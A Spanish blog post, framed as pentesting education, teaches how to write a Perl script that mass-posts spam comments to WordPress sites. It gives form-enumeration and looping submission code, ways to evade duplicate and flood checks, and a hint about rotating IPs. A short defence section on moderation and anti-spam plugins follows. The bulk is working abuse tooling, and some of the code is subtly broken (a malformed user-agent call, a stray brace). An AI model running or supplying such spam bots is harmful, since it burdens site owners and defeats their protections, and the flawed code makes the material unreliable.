Seguimos hablando de
pentest y aquí otra cosa que se ve mucho y que molesta,el
spam,el spam son esos comentarios que no dejan nada y que son masivos.
A mi no me ha tocado mucho spam en
blogger como dicen que sucede en wordpress,me han llovido anuncios,mentadas de madre,y otras ridiculeces pero bueno,es lo que pasa en la web hay todo tipo de gente hay muchas personas que comentan aportan y hay otras que,que bueno...
Pero bueno lo que sea de cada quien no se que sistema usen pero hace un tiempo pasaron mi
capcha y comentaron 40 veces seguidas al mismo tiempo :O,hay que reconocer que saben lo que hacen.
En esta ocasión vamos a aprender a crear un spamer para los comentarios de wordpress.
Esto no es para que anden spameando ya que es una tontería mas si el webmaster del sitio tiene las ip's(o simplemente wordpress nos manda la ip del comentario),es para que vean como se podría spamear y como defenderse,si quieren spamear haganlo bajo su propio riesgo yo solo les aviso de la hulla de Internet.
Bien vamos a usar Perl para este ejercicio,primero que nada instalamos lo necesario:
Abrimos una shell:
sudo cpan WWW::Mechanize
sudo cpan WWW::Mechanize::GZip
sudo cpan Data::Dumper
Bien ahora debemos por ejemplo:
Ver los imput del sitio en donde queremos "comentar",para esto podriamos usar regex y pipes Unix,pero vamos a hacerlo desde perl:
Aqui un sencillo script que ubica todos los input:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| use strict;
use WWW::Mechanize;
use HTML::Form;
use LWP::UserAgent;
use Data::Dumper;
my $url = "http://url";
my $mech = WWW::Mechanize->new(autocheck => 1);
$mech->get( $url ) or die("No es posible conectarse a $url");
my $ua = LWP::UserAgent->new;
my $response = $ua->($url);
my @forms = HTML::Form->parse($response);
foreach (@forms) {
print Dumper($_);
}
|
Ejecutamos y vemos todos los input,en wordpress es una tontería esto ya que están a fuego:
Ahora tenemos los fields:
comment
email
author
url
Bien vamos a crear un script para un comentario simple:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| #!/usr/bin/env perl
use warnings;
use strict;
use WWW::Mechanize::GZip;
my $url = "http://url";
my $mech = WWW::Mechanize::GZip->new();
$mech->agent_alias("Linux Mozilla");
$mech->get($url) || die $!;
my $respuesta = $mech->submit_form(
fields => {
comment => "Este es un spam",
email => 'email@gmail.com',
author => "unknow",
url => "direccion.com",
}
);
print "Listo";
}
|
Con eso podemos comentar de manera común,ahora que convierte un comentario en spam:
El numero de envíos,así que vamos a enviar mas comentarios con un bucle:
Pero primer problema,wordpress verifica los comentarios en su base de datos,si son iguales redirigue la pagina y ya podríamos comentar.
Solución añadir un contador al comentario,con añadir un numero al principio o al final basta,esto en el mail o en el comentario.
'email@gmail.com'.$i
Otro problema,wordpress checa el tiempo en el que enviamos los mensajes,esto se solucion esperando un tiempo por ejemplo:
sleep 10;
Esperar 10 segundos en cada envió,si somos un poco ingeniosos incluso podemos usar una ip diferente para cada comentario,pero eso se los dejo de tarea.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| #!/usr/bin/env perl
use warnings;
use strict;
use WWW::Mechanize::GZip;
my $url = "http://url";
my $mech = WWW::Mechanize::GZip->new();
$mech->agent_alias("Linux Mozilla");
$mech->get($url) || die $!;
for (1..10) {
my $respuesta = $mech->submit_form(
fields => {
comment => "Este es un spam".$_,
email => 'mail'.$_.'@gmail.com',
author => "unknow".$_,
url => "direccion.com",
}
);
print $respuesta->content(); # Nos muestra la respuesta del sitio.
sleep 10;
}
|
De esa manera podríamos spamear un sitio con comentarios,de igual forma lo podemos hacer en formularios de contacto,pero bueno.
Ahora como defenderse de esto:
1. Wordpress automáticamente no publica estos comentarios,pero de por si ya tenerlos en la bandeja es molesto así que si los publica automáticamente deben cambiar a moderar.
2. Si tienen los registros del servidor se podría hacer un filtrado de ip basado en tiempo esto lo hace wordpress automáticamente,pero no esta de mas usarlo a nivel de servidor,solo que si se usa una ip diferente podría evadirse este sistema.
3. Dejárselo a los profesionales hay filtros contra el spam(si tenemos wordpress en nuestro host),hay plugins para evitar esto,los instalamos y listo.
Pero cuidado ya que aqui esta la trampa:
Metemos un plugin pensando que nos soluciona esto,pero ese es el anzuelo de los spamers,por ejemplo Akismet,en una version(no se si ahora),mostraba nuestro
full path disclosure(lo veremos en su momento)
que seria un problema mas grande y que se abria logrado gracias al spam.
Bien eso es todo :D.
Un comunicado de este sitio:
Ya no voy a dejar comentar a personas anonimas,solo a las de google y personas registradas,son los que dejan mejores comentarios y si me mientan la madre(como lo han hecho últimamente) por lo menos den la cara y cuerpo,o mejor dicho el nick y el avatar :P.
Es enserio ya tengo bastante con la delincuencia de este país, uno no se siente seguro en la calle como para que en el sitio donde me distraigo un rato también fomenten la violencia,así que si quieren comentar háganlo con su cuenta,también serán moderados los comentarios.